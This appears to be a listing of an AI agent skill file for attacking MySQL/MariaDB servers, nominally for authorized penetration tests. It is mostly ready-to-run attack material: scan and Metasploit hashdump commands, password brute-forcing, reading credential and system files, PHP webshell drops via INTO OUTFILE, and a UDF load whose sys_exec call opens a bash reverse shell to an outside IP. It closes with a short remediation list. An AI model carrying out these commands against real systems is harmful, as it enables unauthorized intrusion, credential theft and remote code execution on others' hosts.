Pentesting mysql

From xalgorix/xalgorix · View interactive version

Pentesting mysql is an AI agent skill from the GitHub repository xalgorix/xalgorix. Testing MySQL / MariaDB database services (default port 3306) for empty/default root credentials, authentication-bypass and version CVEs, FILE-privilege data theft, and the INTO OUTFILE webshell / lib_mysqludf_sys UDF remote-code-execution primitives during authorized engagements.

How to use this skill

Skill file

Pentesting MySQL (port 3306)

When to Use

Quick Enumeration

# Version + default scripts (most need creds, but mysql-info/empty-password do not)
nmap -sV -p 3306 --script mysql-info,mysql-empty-password,mysql-enum,mysql-variables,mysql-databases,mysql-users,mysql-dump-hashes,mysql-vuln-cve2012-2122 <IP>

# Consoleless metasploit (version + auth-bypass hashdump)
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS <IP>; run; exit'
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS <IP>; run; exit'

# Direct connect attempts
mysql -h <IP> -u root              # no password
mysql -h <IP> -u root -p           # prompt for password
mysql -h <IP> -u root@localhost    # some grants only allow localhost

Critical: Checks Most Often Missed

Workflow

Step 1: Enumerate (version, config, capabilities)

nmap -sV -p3306 --script mysql-info,mysql-variables <IP>
# Local host artifacts (if you have shell):
ls -l /run/mysqld/mysqld.sock /etc/mysql/debian.cnf ~/.my.cnf 2>/dev/null
cat /etc/mysql/debian.cnf            # plaintext debian-sys-maint creds

Step 2: Authenticate (empty/default creds, brute force)

mysql -h <IP> -u root                                  # empty password
mysql -S /run/mysqld/mysqld.sock -u root               # local socket (auth_socket bypass)
# Brute force
hydra -L users.txt -P passwords.txt <IP> mysql
nxc mysql <IP> -u users.txt -p passwords.txt
medusa -h <IP> -u root -P passwords.txt -M mysql

Step 3: Exploit / Extract (dump data + FILE/UDF RCE primitive)

-- Recon once connected
select version(); select user(); select @@secure_file_priv;
show databases; SELECT * FROM mysql.user;        -- hashes (mysql_native_password / $mysql-sha2$)
SELECT user,file_priv,Super_priv FROM mysql.user;

-- Arbitrary file READ (needs FILE priv)
SELECT load_file('/var/lib/mysql-files/key.txt');
SELECT load_file('/etc/passwd');

-- Webshell WRITE into webroot (INTO OUTFILE; cannot overwrite existing files)
SELECT '<?php echo shell_exec($_GET["c"]);?>' INTO OUTFILE '/var/www/html/back.php';
-- Windows / XAMPP target
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php';
-- UDF RCE when mysqld runs privileged (lib_mysqludf_sys from sqlmap/metasploit)
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn VALUES(load_file('/tmp/lib_mysqludf_sys.so'));
SHOW VARIABLES LIKE '%plugin%';   -- find @@plugin_dir
SELECT * FROM npn INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
-- Windows NTFS trick: bootstrap a missing plugin dir via ADS before the UDF drop
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

Step 4: Post-access / privilege escalation / pivot

Key Concepts

| Concept | Description |

|---------|-------------|

| FILE privilege | Per-user grant required for load_file(), INTO OUTFILE, INTO DUMPFILE. |

| secure_file_priv | Restricts file I/O to a directory; empty = anywhere, NULL = disabled. |

| INTO OUTFILE | Writes query output to a new file (cannot overwrite) — webshell drop primitive. |

| UDF (lib_mysqludf_sys) | User-defined function loaded from a .so/.dll in @@plugin_dir giving sys_exec/sys_eval OS command execution. |

| auth_socket / unix_socket | Auth plugin mapping an OS user to a DB account over the local socket with no DB password. |

| LOCAL INFILE / rogue server | A malicious MySQL server can read files from a connecting client. |

| CVE-2012-2122 | Memcmp auth bypass; any password works ~1/256 attempts on vulnerable versions. |

Tools & Systems

| Tool | Purpose |

|------|---------|

| mysql / mariadb client | Native interactive client for auth, enumeration, file/UDF primitives. |

| nmap NSE | mysql-info, mysql-empty-password, mysql-enum, mysql-users, mysql-dump-hashes, mysql-vuln-cve2012-2122. |

| Metasploit | scanner/mysql/mysql_version, mysql_authbypass_hashdump, mysql_hashdump, admin/mysql/mysql_enum, mysql_schemadump. |

| netexec (nxc) | nxc mysql <IP> -u users -p passwords for spraying/auth. |

| hydra / medusa | Credential brute force against MySQL login. |

| sqlmap | Bundles lib_mysqludf_sys payloads (locate "*lib_mysqludf_sys*"). |

| Hashcat / John | Offline cracking of dumped mysql.user hashes (modes 300 / 21100). |

Common Scenarios

Scenario 1: Empty root → data theft

nmap --script mysql-empty-password confirms root with no password. mysql -h<IP> -uroot connects; SELECT * FROM mysql.user dumps hashes and SHOW DATABASES exposes application data with reusable secrets.

Scenario 2: FILE privilege → webshell RCE

The app DB user has FILE and secure_file_priv is empty. SELECT '<?php system($_GET["c"]);?>' INTO OUTFILE '/var/www/html/x.php' drops a shell; http://<IP>/x.php?c=id returns www-data.

Scenario 3: Root-run mysqld → UDF reverse shell

mysqld runs as root and the tester has a privileged login. Loading lib_mysqludf_sys.so into the plugin dir and calling sys_exec yields a root reverse shell on the host.

Output Format

## MySQL Finding

**Service**: MySQL
**Port**: 3306/tcp (MariaDB 10.3.23)
**Severity**: Critical
**Finding**: Empty root password with FILE privilege enabling webshell write
**Evidence**:
  - nmap mysql-empty-password: "root account has empty password"
  - `mysql -h<IP> -uroot -e "SELECT user,file_priv FROM mysql.user"` -> root file_priv=Y
  - `SELECT ... INTO OUTFILE '/var/www/html/x.php'` succeeded; /x.php?c=id -> uid=33(www-data)
**Impact**: Unauthenticated database access plus arbitrary file write to the web root yields remote code execution.
**Recommendation**:
  1. Set a strong unique root password and remove anonymous/empty accounts.
  2. Bind MySQL to localhost or restrict 3306 by firewall/source IP.
  3. Set `secure_file_priv` to a non-web directory and revoke FILE from app users.
  4. Run mysqld as an unprivileged account; patch to address CVE-2012-2122.
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.